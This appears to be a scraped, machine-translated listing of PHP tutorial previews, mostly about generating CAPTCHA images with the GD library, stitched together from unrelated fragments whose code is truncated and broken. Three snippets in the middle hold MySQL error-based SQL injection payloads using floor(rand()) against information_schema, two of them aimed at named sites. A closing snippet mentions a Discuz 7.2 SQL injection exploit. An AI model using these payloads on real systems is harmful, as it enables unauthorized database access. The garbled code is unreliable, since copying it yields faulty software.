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A very useful verification code tool /** * Verification code */ Class Base_Tool_Verify { /** * Verification code generation method */ Public static function

Three PHP tutorials Chinese characters English validation code generation program $ChineseChar = Explode (', ', "People, out, come, friends, learning, filial piety, benevolence, righteousness, propriety, low, loyal, state, medium, easy, white,

PHP English Verification Codecaptcha.class.php Copy CodeThe code is as follows: Class Captcha { Private $width; Private $height; Private $codeNum; Private $code; Private $im; function __construct ($width =80, $height =20, $codeNum

PHP graphic verification code sharing, php graphic Verification Code Effect: Myvcode. class. php: class that encapsulates the verification code /** File: myvcode. class. php* Verification Code Class, Class Name Vcode*/Class Vcode{Private $ width;/*

PHP Header ("Content-type:text/html;charset=utf-8"); Header ("Content-type:image/png"); $num=4; $str=getcode ($num,2);//get random number$width = $num * -; $height= -; $im=imagecreatetruecolor ($width, $height);//Create a canvas$color

PHP English Verification Codecaptcha.class.php Copy Code code as follows: Class Captcha { Private $width; Private $height; Private $codeNum; Private $code; Private $im; function __construct ($width =80, $height =20, $codeNum =4) {

1, through floor critical error/* Database version */Sqlhttp://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x

1, through floor critical error/* Database version */Http://www.waitalone.cn/sql.php?id=1+and (select 1 from (SELECT COUNT (*), concat (SELECT (select Concat (0x7e, Version (), 0x7e)) (Information_schema.tables limit 0,1), floor (rand (0) *)) x from

/*** Verification Code* 2011/8/21* Kcj**/Include "isLogin. php ";// Generate a 4-digit Verification Code randomly$ Num = '';For ($ I = 0; $ I $ Num. = dechex (rand (); // The dechex function is a decimal transfer binary.}Session_start (); // enable

PHP uses the GD library to implement a simple verification code $ Img = imagecreatetruecolor (100, 40 ); $ Red = imagecolorallocate ($ img, 255, 0, 0 ); $ Green = imagecolorallocate ($ img, 0,255, 0 ); $

Complete PHP graphic verification code program source code !, The code is as follows: /* Website verification code program* Running environment: PHP5.0.18 is successfully debugged.* Gd2 graphics library is required (php_gd2.dll is enabled in PHP.

1. When an error is reported through floor, use the following code: andselect1from (selectcount (*), concat (version (), floor (rand (0) * 2) xfrominformation_schematablesgroupbyx) ); and (selectcount (*) 1. When an error is reported through floor,

PHP image verification code creation example $ Authnum = ''; $ Ychar = ", A, B, C, D, E, F, G, H, I, J, K, L, M, n, O, P, Q, R, S, T, U, V, W, X, Y, Z "; $ List = explode (",", $ ychar); // delimiter

PHP/** * PHP generated Verification code * @param $width Canvas width * @param $height Canvas Height * @param $vcodelen captcha length * @param $pointnum number of interference pixels * @param $li Nenum number of interfering lines * * idea: Create

PHPSession_Start();//generate a random string verification code$checkcode=""; for($i= 0;$i$i++){ $checkcode.=Dechex(Rand(0,15));//String dechex (int) returns a string that contains the hexadecimal representation of the given number parameter}//save

The following is the generation of code codes, the results of programming home site test, no errors posted. If there is something that you do not understand, the programming house will explain what you don't understand. I hope I can get something

The principle of generating verification code is very simple, a word ' painting '. Yes, the captcha we're going to draw with backgrounds, numbers or letters. Effect: The steps are as follows:1. Get the Random verification codeWith the GetCode

I am a beginner in the use of PHP classes. I have found a class on the Internet that generates verification codes, how can I output the verification code generated by the class where the verification code needs to be output? The code in the class is

Php verification code .? * ** Verification code * 2011821 * kcj ** includeisLogin. php; randomly generate a 4-digit verification code $ num; for ($ i0; $ i4; $ I ++) {$ num. dechex (rand (); the dechex function is decimal /** * Verification code * 20

Discuz7.2faq. Research on phpsql Injection 6.2 (may be earlier) saw this exp online, is a discuz 7.2 SQL Injection Vulnerability After multiple research attempts, most exp problems on the Internet exists. I will use and modify them to summarize the